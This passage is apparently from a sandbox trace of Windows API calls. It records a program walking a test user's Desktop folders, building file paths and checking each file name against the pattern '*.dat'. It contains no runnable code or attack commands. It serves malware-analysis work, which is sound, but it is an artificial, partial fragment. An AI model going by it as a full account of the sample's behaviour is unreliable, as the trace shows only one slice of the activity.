| out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.512] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="UJ3K_uO6cMgmy7zg.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv" [0099.512] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.512] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.512] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="UJ3K_uO6cMgmy7zg.flv" | out: lpString1="\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv") returned="\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv" [0099.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", cchWideChar=60, lpMultiByteStr=0x2112978, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", lpUsedDefaultChar=0x0) returned 60 [0099.512] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112978 | out: hHeap=0x2110000) returned 1 [0099.512] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113120, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.512] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113120 | out: hHeap=0x2110000) returned 1 [0099.512] PathMatchSpecW (pszFile="UJ3K_uO6cMgmy7zg.flv", pszSpec="*.dat") returned 0 [0099.512] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a98 | out: hHeap=0x2110000) returned 1 [0099.512] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87332790, ftCreationTime.dwHighDateTime=0x1d7ab7c, ftLastAccessTime.dwLowDateTime=0xafecd760, ftLastAccessTime.dwHighDateTime=0x1d7b047, ftLastWriteTime.dwLowDateTime=0xafecd760, ftLastWriteTime.dwHighDateTime=0x1d7b047, nFileSizeHigh=0x0, nFileSizeLow=0x4f9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="VRBCI1zk.flv", cAlternateFileName="")) returned 1 [0099.512] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.512] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.512] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="VRBCI1zk.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv" [0099.512] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.513] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.513] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="VRBCI1zk.flv" | out: lpString1="\\EDvMoYL\\VRBCI1zk.flv") returned="\\EDvMoYL\\VRBCI1zk.flv" [0099.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0099.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", cchWideChar=52, lpMultiByteStr=0x33aaea0, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", lpUsedDefaultChar=0x0) returned 52 [0099.513] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaea0 | out: hHeap=0x2110000) returned 1 [0099.513] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113060, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.513] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.513] PathMatchSpecW (pszFile="VRBCI1zk.flv", pszSpec="*.dat") returned 0 [0099.513] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112df8 | out: hHeap=0x2110000) returned 1 [0099.513] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2c4070, ftCreationTime.dwHighDateTime=0x1d7acdb, ftLastAccessTime.dwLowDateTime=0xd3dcdb60, ftLastAccessTime.dwHighDateTime=0x1d7aed6, ftLastWriteTime.dwLowDateTime=0xd3dcdb60, ftLastWriteTime.dwHighDateTime=0x1d7aed6, nFileSizeHigh=0x0, nFileSizeLow=0x8bbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEdQh.m4a", cAlternateFileName="")) returned 1 [0099.513] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.513] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.513] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="WEdQh.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a" [0099.513] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.513] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.513] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="WEdQh.m4a" | out: lpString1="\\EDvMoYL\\WEdQh.m4a") returned="\\EDvMoYL\\WEdQh.m4a" [0099.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0099.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", cchWideChar=49, lpMultiByteStr=0x33aada0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", lpUsedDefaultChar=0x0) returned 49 [0099.513] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aada0 | out: hHeap=0x2110000) returned 1 [0099.513] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113030, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.514] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113030 | out: hHeap=0x2110000) returned 1 [0099.514] PathMatchSpecW (pszFile="WEdQh.m4a", pszSpec="*.dat") returned 0 [0099.514] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b70 | out: hHeap=0x2110000) returned 1 [0099.514] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2baade0, ftCreationTime.dwHighDateTime=0x1d7a2e8, ftLastAccessTime.dwLowDateTime=0x25e40390, ftLastAccessTime.dwHighDateTime=0x1d7af7a, ftLastWriteTime.dwLowDateTime=0x25e40390, ftLastWriteTime.dwHighDateTime=0x1d7af7a, nFileSizeHigh=0x0, nFileSizeLow=0x17588, dwReserved0=0x0, dwReserved1=0x0, cFileName="_xRb.wav", cAlternateFileName="")) returned 1 [0099.514] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.514] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.514] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="_xRb.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav" [0099.514] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.514] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.514] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="_xRb.wav" | out: lpString1="\\EDvMoYL\\_xRb.wav") returned="\\EDvMoYL\\_xRb.wav" [0099.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", cchWideChar=48, lpMultiByteStr=0x34300d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", lpUsedDefaultChar=0x0) returned 48 [0099.514] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.514] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113048, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.514] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113048 | out: hHeap=0x2110000) returned 1 [0099.514] PathMatchSpecW (pszFile="_xRb.wav", pszSpec="*.dat") returned 0 [0099.514] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.514] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2baade0, ftCreationTime.dwHighDateTime=0x1d7a2e8, ftLastAccessTime.dwLowDateTime=0x25e40390, ftLastAccessTime.dwHighDateTime=0x1d7af7a, ftLastWriteTime.dwLowDateTime=0x25e40390, ftLastWriteTime.dwHighDateTime=0x1d7af7a, nFileSizeHigh=0x0, nFileSizeLow=0x17588, dwReserved0=0x0, dwReserved1=0x0, cFileName="_xRb.wav", cAlternateFileName="")) returned 0 [0099.514] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.514] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa2a0 [0099.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0099.514] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x27) returned 0x211ac60 [0099.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", cchWideChar=39, lpMultiByteStr=0x211ac60, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpUsedDefaultChar=0x0) returned 39 [0099.515] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.515] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ac60 | out: hHeap=0x2110000) returned 1 [0099.515] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa2a0 | out: hHeap=0x2110000) returned 1 [0099.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.515] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112f88 [0099.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112f88, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.515] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112f88 | out: hHeap=0x2110000) returned 1 [0099.515] PathMatchSpecW (pszFile="EDvMoYL", pszSpec="*.dat") returned 0 [0099.515] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.515] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0007ba0, ftCreationTime.dwHighDateTime=0x1d7aee9, ftLastAccessTime.dwLowDateTime=0x1c72ab20, ftLastAccessTime.dwHighDateTime=0x1d7aef0, ftLastWriteTime.dwLowDateTime=0x1c72ab20, ftLastWriteTime.dwHighDateTime=0x1d7aef0, nFileSizeHigh=0x0, nFileSizeLow=0x17ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffg4.png", cAlternateFileName="")) returned 1 [0099.515] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.515] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.515] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="ffg4.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png" [0099.515] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.515] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.515] lstrcatW (in: lpString1="\\", lpString2="ffg4.png" | out: lpString1="\\ffg4.png") returned="\\ffg4.png" [0099.515] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa458 [0099.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.515] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211ac30 [0099.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", cchWideChar=40, lpMultiByteStr=0x211ac30, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", lpUsedDefaultChar=0x0) returned 40 [0099.515] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.515] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ac30 | out: hHeap=0x2110000) returned 1 [0099.515] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa458 | out: hHeap=0x2110000) returned 1 [0099.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.515] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113138 [0099.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113138, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.516] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113138 | out: hHeap=0x2110000) returned 1 [0099.516] PathMatchSpecW (pszFile="ffg4.png", pszSpec="*.dat") returned 0 [0099.516] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.516] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e5e5f0, ftCreationTime.dwHighDateTime=0x1d7ad11, ftLastAccessTime.dwLowDateTime=0x92006230, ftLastAccessTime.dwHighDateTime=0x1d7ad95, ftLastWriteTime.dwLowDateTime=0x92006230, ftLastWriteTime.dwHighDateTime=0x1d7ad95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOg-h_AvoQIw_HJ", cAlternateFileName="FOG-H_~1")) returned 1 [0099.516] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.516] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.516] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.516] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.516] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.516] lstrcatW (in: lpString1="\\", lpString2="FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.516] lstrcmpW (lpString1="FOg-h_AvoQIw_HJ", lpString2=".") returned 1 [0099.516] lstrcmpW (lpString1="FOg-h_AvoQIw_HJ", lpString2="..") returned 1 [0099.516] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.516] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\*.*" [0099.516] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e5e5f0, ftCreationTime.dwHighDateTime=0x1d7ad11, ftLastAccessTime.dwLowDateTime=0x92006230, ftLastAccessTime.dwHighDateTime=0x1d7ad95, ftLastWriteTime.dwLowDateTime=0x92006230, ftLastWriteTime.dwHighDateTime=0x1d7ad95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.516] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.516] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.516] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\." [0099.516] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.516] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.516] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2="." | out: lpString1="\\FOg-h_AvoQIw_HJ\\.") returned="\\FOg-h_AvoQIw_HJ\\." [0099.517] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.517] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e5e5f0, ftCreationTime.dwHighDateTime=0x1d7ad11, ftLastAccessTime.dwLowDateTime=0x92006230, ftLastAccessTime.dwHighDateTime=0x1d7ad95, ftLastWriteTime.dwLowDateTime=0x92006230, ftLastWriteTime.dwHighDateTime=0x1d7ad95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.517] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.517] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.517] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\.." [0099.517] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.517] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") 